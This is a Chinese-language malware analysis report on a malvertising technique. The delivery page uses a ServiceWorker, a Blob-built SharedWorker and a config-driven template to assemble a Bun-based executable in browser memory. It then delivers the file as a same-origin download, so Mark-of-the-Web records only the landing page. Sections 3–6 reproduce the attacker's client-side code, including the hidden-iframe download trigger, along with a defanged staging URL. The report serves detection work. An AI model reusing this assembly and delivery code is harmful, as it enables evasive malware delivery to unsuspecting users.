1. 簡介

現代的惡意廣告(Malvertising)活動日益利用合法的瀏覽器原始功能來躲避靜態偵測。其中一種獨特的方法是將用戶端瀏覽器轉換為一個記憶體內的組裝流程(In-memory assembly pipeline),從乾淨的元件、遠端 Blob 和本地產生的 entropy 中建構出一個獨特的執行檔。此技術確保沒有完整的惡意二進位檔案在網路中傳輸,從而擊敗使用 hash 的特徵比對和傳統的網路檢測。 [1]

傳遞鏈(Delivery chain) 依賴 ServiceWorker 攔截來處理串流化的附件回應,以及一個從嵌入式 JavaScript 實例化的 SharedWorker 來協調設定擷取和位元組層級的組裝。產生的二進位檔案包含一個乾淨的 Bun runtime 作為其直譯器基礎,覆蓋了攻擊者控制的 Portable Executable (PE) 結構和一個包含 JavaScriptCore bytecode 的自訂 .bun 區段。每個工作階段的 AES-CTR 串流更進一步隨機化最終的映像(image),為每次受害者的互動產生不同的 hash。

此報告針對四階段組裝過程進行純粹的技術檢視,重點僅放在用戶端機制和實作這些機制的嵌入式程式碼片段。特別強調 worker 之間的互動、範本驅動的位元組複製演算法(The template-driven byte-copy algorithm),以及掩蓋遠端元件來源的同源下載路徑。

Bun runtime 竟是駭客幫兇?Service Worker 聯手 AES-CTR 讓 MotW 完全失靈! | 資訊安全新聞

2. 整體架構

登入頁面在任何使用者啟動的下載之前,先準備好一個隔離的執行環境。在頁面來源註冊一個 ServiceWorker,用於管理記憶體內的串流映射(In-memory stream map),並攔截後續的同源 fetch。同時,從一個包含 JavaScript 原始碼的 Blob 建構出一個 SharedWorker,該原始碼位於頁面的 React bundle 中。此 SharedWorker 發出內部請求以取得組裝指令,並在之後協調串流的組合。

設定回應提供了三個關鍵輸入:一個描述有序位元組來源的範本陣列、一個指向乾淨 Bun runtime 的 standaloneUrl,以及用於實例化 AES-CTR 金鑰串流的隨機種子/大小配對。瀏覽器隨後將最終的執行檔具體化為一個 ReadableStream,並將其交給 ServiceWorker 以附件形式遞交。由於下載 URL 是同源的,Mark-of-the-Web 成品只記錄登入頁面的網域,從而隱藏了提供 runtime 二進位檔案的次要基礎設施。

sequenceDiagram participant Page as Landing Page (React JS) participant SW as ServiceWorker (/sw.js) participant Shared as SharedWorker (Blob) participant Config as /config Endpoint participant Runtime as standaloneUrl (Bun) participant Browser as Browser Download Manager Page->>SW: register("/sw.js", {scope: "/"}) Page->>SW: await ready + streamsaver:ping keep-alive Page->>Shared: new SharedWorker(Blob([embeddedSource])) Shared->>Config: GET /config (with fingerprint) Config-->>Shared: {random, template, standaloneUrl} Shared->>Runtime: fetch + gunzip clean Bun stream Shared->>Shared: generate AES-CTR stream (seed, size) Shared->>Shared: template-driven assembly (h class) Shared-->>Page: ReadableStream of final PE Page->>SW: streamsaver:open (url, stream) Page->>Browser: hidden iframe navigation to same-origin URL Browser->>SW: fetch same-origin URL SW-->>Browser: Response(stream, Content-Disposition: attachment)

上面的序列圖捕捉了重要的控制流程。所有的位元組組裝都發生在瀏覽器的記憶體空間內;網路只觀察到乾淨的 runtime 下載和後續的同源附件回應。

3. 第一階段 – ServiceWorker 註冊與 SharedWorker 實例化

在任何下載動作之前,頁面會驗證 ServiceWorker 支援並註冊一個頁面範圍的 worker。註冊之後會等待準備就緒,並定期發送 keep-alive 訊息,以防止在長時間組裝操作期間串流通道逾時。

  1. // Stage-1 ServiceWorker setup (extracted from landing-page React bundle)
  2. // Purpose: establish interception point for streamed attachment responses
  3. if (!("serviceWorker" in navigator)) {
  4. // Hard failure: the entire delivery path depends on SW fetch interception
  5. throw new Error("Service workers are not supported");
  6. }
  7. // Register under root scope so every same-origin path is controllable
  8. await navigator.serviceWorker.register("/sw.js", { scope: "/" });
  9. // Block until the worker is active and controlling the current client
  10. await navigator.serviceWorker.ready;
  11. // Keep-alive every 25 s to maintain the MessagePort for long writes
  12. setInterval(() => controller.postMessage({
  13. type: "streamsaver:ping"
  14. }), 25000);

ServiceWorker 啟動後,立即定義一個 SharedWorker 子類別,它從記憶體中的 Blob 建構自己的腳本,而不是從網路 URL。這消除了可能被封鎖或指紋識別的額外網路請求。

  1. // SharedWorker constructed from embedded source string (tO / tJ)
  2. // Avoids fetching a separate worker script; the entire assembler lives in the page
  3. var tH = class extends SharedWorker {
  4. constructor(tO, o0) {
  5. // tO = full JavaScript source of the assembler, already present in React bundle
  6. super(URL.createObjectURL(new Blob([tO], { type: "application/javascript" })), o0);
  7. // Forward every message arriving on the port to the page-level handler
  8. this.port.onmessage = this.handleMessage.bind(this);
  9. }
  10. };

持久性 ServiceWorker 和嵌入式 SharedWorker 的組合創建了一個封閉的組裝迴圈,永遠不會離開源的控制介面。

4. 第二階段 – 設定擷取與樣本語意(Template Semantic)

SharedWorker 請求同源的 /config 資源,並附加訪客指紋資料。回應不是執行檔,而是一個 JSON 組裝配方。

  1. // Example /config payload (truncated & defanged)
  2. // random.seed / random.size drive unique AES-CTR keystream per session
  3. // template entries are either base64 literals or [sourceIndex, offset, length] triples
  4. // standaloneUrl points to a clean, gunzip-compressed Bun runtime
  5. {
  6. "random": {
  7. "seed": "w3q8pSVQ4YCSsRg6GUI7bQ==",
  8. "size": 665136399
  9. },
  10. "template": [
  11. "TVp4AAEAAAAE...", // base64 PE header / section table fragment
  12. [0, 1024, 114954254], // copy range from source 0 (Bun runtime)
  13. [1, 145, 665136254] // copy range from source 1 (AES-CTR stream)
  14. ],
  15. "standaloneUrl": "https://purelogicbox[.]org/static/AAAA...zo.exe"
  16. }

範本的功能類似位元組複製配方。base64 字串會被解碼並直接寫入;numeric triple 會從先前準備好的來源串流中選取連續範圍。這種設計允許操作者輪換 PE 標頭、區段表格和惡意的 .bun 區段,而無需更改用戶端組裝器程式碼。

5. 第三階段 – 瀏覽器內組裝最終執行檔

一個簡短的流程執行組裝,該流程會具體化三個來源串流,並將它們提供給 template walker。

  1. // Core assembly routine (SharedWorker context)
  2. // U() fetches & gunzips the clean Bun runtime
  3. // I() expands the AES-CTR keystream from seed/size
  4. // h walks the template and concatenates selected ranges into a ReadableStream
  5. let r = await R, i = [await U(r.standaloneUrl)]; // source 0 = clean Bun
  6. if (r.random) {
  7. let s = I(r.random.seed, r.random.size); // source 1 = unique AES-CTR
  8. i.push(s);
  9. }
  10. let a = new h(r.template); // template-driven combiner
  11. return a.start(i), a.readable; // expose final PE as stream

Bun runtime 提供了一個合法的 JavaScriptCore 直譯器。早期的範本入口(Template entry)注入精心製作的 PE 標頭和區段表格(section table);後面的入口嵌入一個 .bun 區段,其中包含惡意 app.js bytecode。大的複製範圍拉取大量乾淨的直譯器和隨機化的 AES-CTR padding。由於每個工作階段都收到不同的種子和大小,因此產生的 PE hash 實際上是唯一的,使得傳統的靜態特徵碼無效。

6. 第四階段 – 同源遞交與 MotW 遮蔽

一旦 ReadableStream 準備就緒,頁面就會建構一個同源 URL,並將該串流註冊到 ServiceWorker。一個隱藏的 iframe 引導到該 URL,觸發一個 fetch,ServiceWorker 會以附件回應來回應此 fetch。

  1. // Same-origin URL construction and hidden-iframe trigger
  2. function tR(filename) {
  3. // Forces the download to appear as originating from the landing-page domain
  4. return new URL('/' + encodeURIComponent(filename), window.location.origin).toString();
  5. }
  6. function tm(url) {
  7. // Invisible iframe forces the browser to treat the response as a user-initiated download
  8. let iframe = document.createElement("iframe");
  9. iframe.style.display = "none";
  10. iframe.src = url;
  11. document.body.appendChild(iframe);
  12. }
  13. // ServiceWorker handler that returns the pre-assembled stream
  14. case "streamsaver:open": {
  15. // Bind the in-memory stream to the requested same-origin URL
  16. streams.set(data.url, data.stream);
  17. event.ports[0]?.postMessage({ ok: true });
  18. break;
  19. }
  20. const response = new Response(stream, {
  21. headers: {
  22. "Content-Type": "application/octet-stream; charset=utf-8",
  23. "Content-Disposition": "attachment; filename*=UTF-8''" + fileName
  24. }
  25. });

由於最終的 fetch 是同源的,Mark-of-the-Web 區域識別碼只記錄登入頁面的 URL。提供 Bun runtime 的次要網域在 MotW 成品中是不可見的,使得鑑識歸因更加複雜。

7. 對偵測的影響

此架構刻意將可觀察到的網路成品與最終的惡意映像分離。網路監控器看到的是乾淨的 Bun 二進位檔案和同源附件;檔案信譽系統收到一個從未觀察過的唯一 hash。只有對 worker 互動、 template walk 和 AES-CTR 產生進行端對端檢查,才能揭示 Payload 的真實本質。因此,偵測策略必須從靜態 hash 比對轉向對 ServiceWorker 串流註冊的行為監控,加上來自 Blob URL 的異常 SharedWorker 創建,以及頁面 JavaScript 中存在大型 AES-CTR 產生常式。

8. 結論

瀏覽器組裝的惡意軟體遞交展示了對標準 Web Platform API 的成熟運用以進行規避。透過將整個建構過程限制在用戶端記憶體中,並利用合法的 runtime 作為載體,該技術同時抵銷了網路層和檔案層的靜態防禦。這四階段的管道——ServiceWorker 註冊、SharedWorker 驅動的設定、利用範本的組裝,以及同源的串流化遞交——形成了一個連貫、自足的攻擊面,需要相應的全面可視性才能進行可靠的偵測。